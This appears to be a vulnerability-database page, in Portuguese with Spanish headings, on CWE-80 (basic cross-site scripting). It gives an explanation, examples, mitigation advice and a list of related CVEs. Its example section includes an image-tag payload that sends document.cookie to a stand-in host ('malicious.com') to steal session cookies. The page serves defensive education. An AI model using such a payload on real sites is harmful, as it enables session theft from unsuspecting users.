Fallos del tipo CWE-80

586 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2025-66481CRITICALDeepChat's Incomplete XSS Fix Allows RCE through Mermaid ContentEPSS 0.6%CVE-2022-39277MEDIUMCross-Site Scripting (XSS) in external links in GLPIEPSS 0.6%CVE-2024-25639MEDIUMPrompt Injection triggered XSS vulnerability in Khoj Obsidian, Desktop and Web clientsEPSS 0.6%CVE-2023-24497MEDIUMCross-site scripting (xss) vulnerabilities exist in the requestHandlers.js detail_device functionality of Milesight VPN v2.0.2. A specially-EPSS 0.6%CVE-2023-24496MEDIUMCross-site scripting (xss) vulnerabilities exist in the requestHandlers.js detail_device functionality of Milesight VPN v2.0.2. A specially-EPSS 0.6%CVE-2023-22461HIGHsanitize-svg Filter Bypass Allows Cross-Site Scripting (XSS)EPSS 0.6%CVE-2024-46910HIGHApache Atlas: An authenticated user can perform XSS and potentially impersonate another userEPSS 0.6%CVE-2022-35509MEDIUMAn issue was discovered in EyouCMS 1.5.8. There is a Storage XSS vulnerability that can allows an attacker to execute arbitrary Web scripts EPSS 0.6%CVE-2017-20043MEDIUMNavetti PricePoint Persistent cross site scritingEPSS 0.6%CVE-2017-20044MEDIUMNavetti PricePoint Reflected cross site scritingEPSS 0.6%CVE-2023-41048LOWplone.namedfile vulnerable to Stored Cross Site Scripting with SVG imagesEPSS 0.6%CVE-2022-20765MEDIUMCisco UCS Director JavaScript Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2025-39663HIGHCross Site Scripting through compromised remote siteEPSS 0.6%CVE-2022-25756—A vulnerability has been identified in SCALANCE X302-7 EEC (230V), SCALANCE X302-7 EEC (230V, coated), SCALANCE X302-7 EEC (24V), SCALANCE XEPSS 0.6%CVE-2024-32472MEDIUMexcalidraw vulnerable to a Stored XSS in excalidraw's web embed componentEPSS 0.6%CVE-2026-24128MEDIUMXWiki Affected by Reflected Cross-Site Scripting (XSS) in Error MessagesEPSS 0.6%CVE-2024-33423HIGHCross-Site Scripting (XSS) vulnerability in the Settings menu of CMSimple v5.15 allows attackers to execute arbitrary web scripts or HTML viEPSS 0.6%CVE-2024-23817HIGHDolibarr Application Home Page HTML injection vulnerabilityEPSS 0.6%CVE-2024-34699MEDIUMGZ::CTF allows unprivileged user can perform XSS attacks by constructing malicious team names.EPSS 0.5%CVE-2024-0183LOWRRJ Nueva Ecija Engineer Online Portal NIA Office students.php cross site scriptingEPSS 0.5%